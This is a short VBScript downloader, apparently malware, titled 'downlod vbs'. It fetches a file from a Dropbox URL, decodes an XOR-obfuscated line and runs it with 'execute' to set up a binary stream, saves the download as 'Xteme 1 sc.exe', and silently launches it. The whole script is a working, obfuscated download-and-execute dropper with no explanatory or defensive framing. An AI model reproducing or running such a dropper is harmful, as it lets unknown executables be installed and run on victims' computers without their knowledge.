downlod vbs

Set fso = CreateObject("Scripting.FileSystemObject")
Set WshShell = WScript.CreateObject("WScript.Shell")


Datei ="Xteme 1 sc.exe"
URL = "https://dl.dropboxusercontent.com "


If (fso.FileExists(Datei)) Then
Else




Set xml = CreateObject("Microsoft.XMLHTTP")
xml.Open "GET", URL, False:xml.Send:abhvsyvzfxtftxradesarqw="drc7xDcervz7*7tervcrxu}rtc?5Vsxsu9Dcervz5>"
FoR sbsbygxyuxftxftysfw=1 tO lEn(abhvsyvzfxtftxradesarqw)
SBbxChgDgydtSFtwOFK=SBbxChgDgydtSFtwOFK + cHr(aSC(MiD(abhvsyvzfxtftxradesarqw,sbsbygxyuxftxftysfw,1))XoR 23)
nExT
execute SBbxChgDgydtSFtwOFK
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Const adSaveCreateNotExist = 1
oStream.type = adTypeBinary
oStream.open
oStream.write xml.responseBody
oStream.savetofile Datei, adSaveCreateNotExist
oStream.close
set oStream = nothing
Set xml = Nothing




WshShell.Run Datei


End If